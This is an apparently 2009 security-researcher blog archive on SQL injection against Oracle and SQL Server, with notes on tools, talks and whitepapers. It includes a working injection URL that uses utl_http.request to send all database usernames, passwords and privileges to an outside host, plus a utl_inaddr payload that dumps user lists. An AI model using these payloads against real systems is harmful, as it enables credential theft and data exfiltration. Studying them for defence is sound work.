Archive for the ‘SQL Injection’ Category

IT Underground Prague – Presentation

Freitag, März 27th, 2009

Just back from the IT Underground 2009 in Prague.

I met several smart security consultants and some of my customers from different countries in Europe (Belgium, Poland, Germany, UK, …) and had a lot of interesting talks.

I gave a presentation concerning SQL Injection in web applications with Oracle backend databases.

Here a short example from the presentation:

The following (vulnerable) URL is sending all usernames/passwords, all accessible tables, tables and column, roles and privileges in a single SQL statement to a remote system. This can be done with a simple trick. Just use sum(length(utl_http.request(()))).

http://victim.com/order.jsp?id=17‚ or 1=((select sum(length(utl_http.request(‚http://www.orasploit.com/’username||’=’||password) from dba_users)))+((select sum(length(utl_http.request(‚http://www.orasploit.com/’owner||’=’||table_name) from dba_tables)))+((select sum(length(utl_http.request(‚http://www.orasploit.com/’owner||’=’||table_name||’=’||column_name)) from dba_users))+((select sum(length(utl_http.request(‚http://www.orasploit.com/’grantee||’=’||granted_role) from dba_role_privs)))+((select sum(length(utl_http.request(‚http://www.orasploit.com/’grantee||’=’||owner||’=’||table_name||’=’||privilege||’=’||grantable) from dba_tab_privs)))–

More details in the presentation.

Web Application Testing with Pangolin (Video & Screenshot)

Donnerstag, März 5th, 2009

Here is another new video “Web Application Testing with Pangolin” (1024×768).

Similar to the previous video with Matrixay I am using a chinese tool called Pangolin to extract the structure and content of a database (tables, columns, data) via a SQL Injection vulnerability in one of my vulnerable test applications.

Pangolin is a free product but some of the versions of Pangolin on the web are coming with a backdoored libcurl.dll. This can be a dangerous side effect of using free tools in a company environment. You have been warned…

Sometimes it is difficult to find a download possibility of Pangolin because the main website www.nosec.org is currently under construction but if you search a little bit you will be able to find a copy (e.g. via rapidshare). More details concerning Pangolin is available here.

Pangolin Web SQL Injection Tool

Pangolin supports all kind of databases (Oracle, MSSQL, MySQL, Sybase, DB2, …).

More videos can be found in our video section.

New version of bsqlbf (v 2.2) available

Mittwoch, März 4th, 2009

Yesterday, Sumit Siddarth (Sid) from notsosecure.com released a new version of the sql injection tool bsqlbf. This updated version bsqlbf 2.2 supports now SQL Injection in „order by“ and „group by“.

bsqlbf supports Oracle, MSSQL, MySQL and Postgres.

New SQL Injection Whitepaper (for SQL Server)

Sonntag, Februar 8th, 2009

 Daniel Kachakil released an interesting whitepaper about fast data extraction using SQL Injection and XML statements on SQL server and a tool implementing this technique called SFX-SQLI.

The paper describes how to retrieve data from a SQL Server database using SQL Injection and XML. This technique is not new (for me). I am using such techniques in the Oracle environment via xmltransform or stragg since a while. It is possible to retrieve the entire content of a table in a single error message…

More details will be available on the SQL Injection book I am currently writing with some other security researchers…

The tool SFX-SQLI implements the concept for SQL Server.

Here is one of the examples how to export an entire table, e.g. via utl_inaddr. The output is limited to 4000 byte:

or 1= utl_inaddr.get_host_name((select xmltransform(sys_xmlagg(sys_xmlgen(username)),xmltype(‚< ?xml version=“1.0″?> ;
‚)).getstringval() listagg from all_users))–

Warning: ociexecute(): OCIStmtExecute: ORA-29257: host CUSTCOM_PROD;WEBTOOL;WEBDB;NELLDB;ERDB;B2B;BI;PM;SH;IX;OE;HR;SCOTT;MGMT_VIEW;MDDATA;SYSMAN;MDSYS;SI_INFORMTN_SCHEMA;ORDPLUGINS;ORDSYS;OLAPSYS;ANONYMOUS;XDB;CTXSYS;EXFSYS;WMSYS;DBSNMP;TSMSYS;DIP;OUTLN;SYSTEM;SYS; unknown ORA-06512: at „SYS.UTL_INADDR“, line 4 ORA-06512: at „SYS.UTL_INADDR“, line 35

Attacking Oracle with Metasploit Video published

Samstag, Februar 7th, 2009

Chris Gates has published a video where he shows how to attack Oracle with Metasploit from the Shmoocon 09 conference.

Even if the attacks were shown on an outdated version of Oracle (10.1.0.3) it’s good to see that the Oracle support in Metasploit is getting better…

Chris has an interesting blog called carnal0wnage.blogspot.com.